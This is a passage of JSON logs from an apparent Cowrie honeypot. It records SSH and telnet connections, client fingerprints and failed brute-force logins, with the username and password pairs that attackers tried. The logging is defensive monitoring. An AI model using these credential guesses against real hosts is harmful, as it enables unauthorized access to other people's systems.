sh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:39.650049Z","src_ip":"23.88.42.180","session":"f7e8386e1586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"N3x0$S3cur3@W0rd","message":"login attempt [root/N3x0$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:40.033112Z","src_ip":"23.88.42.180","session":"f7e8386e1586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:41.131915Z","src_ip":"23.88.42.180","session":"f7e8386e1586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":42840,"dst_ip":"10.17.0.5","dst_port":22,"session":"9194b6cb13ee","protocol":"ssh","message":"New connection: 61.72.55.130:42840 (10.17.0.5:22) [session: 9194b6cb13ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:43:13.622188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:43:13.626507Z","src_ip":"61.72.55.130","session":"9194b6cb13ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:43:13.826259Z","src_ip":"61.72.55.130","session":"9194b6cb13ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyu123456","message":"login attempt [root/qwertyu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:43:14.658004Z","src_ip":"61.72.55.130","session":"9194b6cb13ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:43:15.860027Z","src_ip":"61.72.55.130","session":"9194b6cb13ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":38130,"dst_ip":"10.17.0.5","dst_port":22,"session":"07687452f7d3","protocol":"ssh","message":"New connection: 91.92.40.176:38130 (10.17.0.5:22) [session: 07687452f7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:43:35.125113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:43:35.128791Z","src_ip":"91.92.40.176","session":"07687452f7d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:43:35.210012Z","src_ip":"91.92.40.176","session":"07687452f7d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@123","message":"login attempt [postgres/postgres@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:43:35.457482Z","src_ip":"91.92.40.176","session":"07687452f7d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:43:36.540226Z","src_ip":"91.92.40.176","session":"07687452f7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":42410,"dst_ip":"10.17.0.5","dst_port":22,"session":"b49128ee0184","protocol":"ssh","message":"New connection: 85.214.154.50:42410 (10.17.0.5:22) [session: b49128ee0184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:08.088443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:08.092735Z","src_ip":"85.214.154.50","session":"b49128ee0184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:08.186834Z","src_ip":"85.214.154.50","session":"b49128ee0184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"congo","password":"Kinshasa#S3cur3#P@ssw0rd","message":"login attempt [congo/Kinshasa#S3cur3#P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:08.469193Z","src_ip":"85.214.154.50","session":"b49128ee0184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:09.564202Z","src_ip":"85.214.154.50","session":"b49128ee0184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":48758,"dst_ip":"10.17.0.5","dst_port":22,"session":"a327aeb22b35","protocol":"ssh","message":"New connection: 143.20.185.207:48758 (10.17.0.5:22) [session: a327aeb22b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:10.743496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:10.747973Z","src_ip":"143.20.185.207","session":"a327aeb22b35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:10.865090Z","src_ip":"143.20.185.207","session":"a327aeb22b35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined#4VCPU8GBAMD","message":"login attempt [root/undefined#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:11.209965Z","src_ip":"143.20.185.207","session":"a327aeb22b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:12.329453Z","src_ip":"143.20.185.207","session":"a327aeb22b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:25.408365Z","src_ip":"198.57.219.18","session":"016b7544e178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.222.233.25","src_port":56748,"dst_ip":"159.203.135.109","dst_port":23,"session":"373c28826e4f","protocol":"telnet","message":"New connection: 73.222.233.25:56748 (159.203.135.109:23) [session: 373c28826e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:30.349166Z"}
{"eventid":"cowrie.login.failed","username":"\"??$","password":"&9*(&","message":"login attempt [\"??$/&9*(&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:30.713861Z","src_ip":"73.222.233.25","session":"373c28826e4f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:31.108930Z","src_ip":"73.222.233.25","session":"373c28826e4f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:31.507751Z","src_ip":"73.222.233.25","session":"373c28826e4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":35266,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6fc50b7cf4f","protocol":"ssh","message":"New connection: 178.20.210.208:35266 (159.203.135.109:22) [session: c6fc50b7cf4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:49.818022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:49.824515Z","src_ip":"178.20.210.208","session":"c6fc50b7cf4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:49.928476Z","src_ip":"178.20.210.208","session":"c6fc50b7cf4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX_123","message":"login attempt [root/1qaz2WSX_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:50.564651Z","src_ip":"178.20.210.208","session":"c6fc50b7cf4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:44:51.671673Z","src_ip":"178.20.210.208","session":"c6fc50b7cf4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.176","src_port":58964,"dst_ip":"159.203.135.109","dst_port":22,"session":"98f26bc122f4","protocol":"ssh","message":"New connection: 198.235.24.176:58964 (159.203.135.109:22) [session: 98f26bc122f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:01.110282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:01.998880Z","src_ip":"198.235.24.176","session":"98f26bc122f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.05159306526184,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:02.400614Z","src_ip":"73.222.233.25","session":"373c28826e4f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:03.021586Z","src_ip":"198.235.24.176","session":"98f26bc122f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.222.233.25","src_port":57294,"dst_ip":"159.203.135.109","dst_port":23,"session":"66797f4affd1","protocol":"telnet","message":"New connection: 73.222.233.25:57294 (159.203.135.109:23) [session: 66797f4affd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:06.770081Z"}
{"eventid":"cowrie.login.failed","username":"mg3500","password":"merlin","message":"login attempt [mg3500/merlin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:07.132105Z","src_ip":"73.222.233.25","session":"66797f4affd1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:07.547344Z","src_ip":"73.222.233.25","session":"66797f4affd1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:10.703952Z","src_ip":"73.222.233.25","session":"66797f4affd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:11.774093Z","src_ip":"198.235.24.176","session":"98f26bc122f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":54626,"dst_ip":"10.17.0.5","dst_port":22,"session":"83b51d2ee354","protocol":"ssh","message":"New connection: 61.72.55.130:54626 (10.17.0.5:22) [session: 83b51d2ee354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:20.657416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:45:20.663066Z","src_ip":"61.72.55.130","session":"83b51d2ee354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.co